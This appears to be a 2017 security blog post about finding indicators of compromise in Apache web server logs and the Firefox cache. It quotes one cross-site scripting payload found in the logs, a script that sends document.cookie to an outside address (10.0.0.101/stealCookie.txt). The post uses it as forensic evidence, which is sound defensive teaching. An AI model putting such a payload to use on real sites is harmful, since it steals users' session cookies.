Saturday, February 4, 2017

In the Cyber Security investigation realm, “Indicators of Compromise” is a significant component in determining whether or not you have been compromised. Note it said “Indicators” it does not say yes or no you have been compromised.

Those indicators come from primarily one of two sources, either the logs or the packets traversing the network. However, there are still other sources we can leverage that are based also on the host directly. Maybe information from the browser’s cache as we will see later or maybe the file system, registry or even a process running in memory.

For this detection, let’s focus on logs seen at the web server and the data in the client’s browser cache. I’ve copied the logs and stored them in the “/tmp” folder on Kali.

Let’s go hunting!!First let’s take a look at the contents of the file we have.

The contents of the file above brings up a sad (my word) reality. Many of times you will have log files with tons of data and will not know where to start looking. This is exactly the reason why having indicators of compromise is important. However, for those situations when you don’t have a known bad, I will post a later blog entry on how you can go about detecting these.

Moving along!!If we look at the log we can see lots of URL encoded entries. eg “%3Cscript%3E”. Let’s go through the logs to understand what is going on here. But first let’s extract a log entry and try to make sense of its structure.

From the reference (1) below, we know this log is in Apache’s “Combined Log Format” . As a result, we will pay attention to the “Request line from the client”

Analysis of the requests.Looking first at the HTTP methods use, below we see 72 (the majority) of our requests uses the “GET” method. We also see 6 “POST” methods. Don’t be fooled and believe that you only need to focus on the ones with the most noise. When doing an investigations you should be more fearful of the things you see less of.

Python3 to the rescue.From the above it seems the user executed “<script>window.location='http://10.0.0.101/stealCookie.txt?'+document.cookie</script>” in the “name” parameter field.

Obviously we would want to go through each of those to see what was sent. However, I believe if you have reached this far in reading this, then you should have gotten the picture.

Before we go …… let’s assume we had access to the client that made this request. If we look at the logs above, we already know this user “seems” to be using FireFox. Let’s assume that assumption is correct, we could take a look at the FireFox “cache” to see if this user did make this request to correlate this back to our logs.

Below is a list of threat intelligence websites that you can use. Cymon.io is an excellent one as it searches around 200 different sources. If you’re looking for a more exhaustive list of threat intel sites, check out https://github.com/rshipp/awesome-malware-analysis